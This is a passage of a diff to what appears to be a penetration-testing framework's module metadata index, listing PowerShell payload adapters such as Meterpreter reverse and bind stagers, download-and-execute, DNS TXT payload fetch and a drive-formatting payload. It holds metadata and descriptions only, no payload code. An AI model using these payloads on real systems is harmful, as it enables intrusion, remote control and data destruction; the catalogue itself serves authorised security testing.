UUID Support", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_tcp_uuid" + }, + "payload_cmd/windows/powershell/dllinject/reverse_winhttp": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/dllinject/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dllinject/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dllinject/reverse_winhttp", + "staged": true, + "stage_refname": "windows/dllinject", + "stager_refname": "windows/reverse_winhttp" + }, + "payload_cmd/windows/powershell/dns_txt_query_exec": { + "name": "Powershell Exec, DNS TXT Record Payload Download and Execution", + "fullname": "payload/cmd/windows/powershell/dns_txt_query_exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "corelanc0d3r " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned payload", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/dns_txt_query_exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/dns_txt_query_exec", + "staged": false + }, + "payload_cmd/windows/powershell/download_exec": { + "name": "Powershell Exec, Windows Executable Download (http,https,ftp) and Execute", + "fullname": "payload/cmd/windows/powershell/download_exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "corelanc0d3r " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nDownload an EXE from an HTTP(S)/FTP URL and execute it", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/download_exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/download_exec", + "staged": false + }, + "payload_cmd/windows/powershell/exec": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "vlad902 ", + "sf " + ], + "description": "Execute an x86 payload from a command via PowerShell", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/exec", + "staged": false + }, + "payload_cmd/windows/powershell/format_all_drives": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/format_all_drives", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "Ashfaq Ansari ", + "Ruei-Min Jiang " + ], + "description": "Execute an x86 payload from a command via PowerShell", + "references": [ + "URL-http://hacksys.vfreaks.com/research/shellcode-of-death.html", + "URL-https://github.com/hacksysteam/ShellcodeOfDeath" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/format_all_drives", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "AKA": [ + "ShellcodeOfDeath" + ] + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/format_all_drives", + "staged": false + }, + "payload_cmd/windows/powershell/generic/debug_trap": { + "name": "Powershell Exec, Generic x86 Debug Trap", + "fullname": "payload/cmd/windows/powershell/generic/debug_trap", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "robert " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a debug trap in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/generic/debug_trap", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "generic/debug_trap", + "staged": false + }, + "payload_cmd/windows/powershell/generic/tight_loop": { + "name": "Powershell Exec, Generic x86 Tight Loop", + "fullname": "payload/cmd/windows/powershell/generic/tight_loop", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "jduck " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a tight loop in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/generic/tight_loop", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "generic/tight_loop", + "staged": false + }, + "payload_cmd/windows/powershell/loadlibrary": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/loadlibrary", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "sf ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/loadlibrary", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/loadlibrary", + "staged": false + }, + "payload_cmd/windows/powershell/messagebox": { + "name": "Powershell Exec, Windows MessageBox", + "fullname": "payload/cmd/windows/powershell/messagebox", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "corelanc0d3r ", + "jduck " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawns a dialog via MessageBox using a customizable title, text & icon", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/messagebox", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/messagebox", + "staged": false + }, + "payload_cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp": { + "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_hidden_ipknock_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/bind_hidden_tcp": { + "name": "Powershell Exec, Hidden Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "Borja Merino " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_hidden_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_hidden_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp": { + "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_ipv6_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/powershell/meterpreter/bind_named_pipe": { + "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_named_pipe" + }, + "payload_cmd/windows/powershell/meterpreter/bind_nonx_tcp": { + "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "vlad902 " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_nonx_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/bind_tcp": { + "name": "Powershell Exec, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp" + }, + "payload_cmd/windows/powershell/meterpreter/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "RageLtMan" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp_rc4" + }, + "payload_cmd/windows/powershell/meterpreter/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/bind_tcp_uuid" + }, + "payload_cmd/windows/powershell/meterpreter/find_tag": { + "name": "Powershell Exec, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/find_tag", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/findtag_ord" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_hop_http": { + "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_hop_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "scriptjunkie ", + "bannedit ", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_hop_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_hop_http", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_hop_http" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_http": { + "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_http" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore": { + "name": "Powershell Exec, Reverse HTTP Stager Proxy", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_http_proxy_pstore", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_http_proxy_pstore" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_https": { + "name": "Powershell Exec, Windows Reverse HTTPS Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows wininet)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_https" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_https_proxy": { + "name": "Powershell Exec, Reverse HTTPS Stager with Support for Custom Proxy", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https_proxy", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "corelanc0d3r ", + "amaloteaux " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP using SSL with custom proxy support", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_https_proxy", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/meterpreter/reverse_https_proxy", + "staged": true, + "stage_refname": "windows/meterpreter", + "stager_refname": "windows/reverse_https_proxy" + }, + "payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": { + "name": "Powershell Exec, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "skape ", + "sf ", + "OJ Reeves", + "hdm " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + 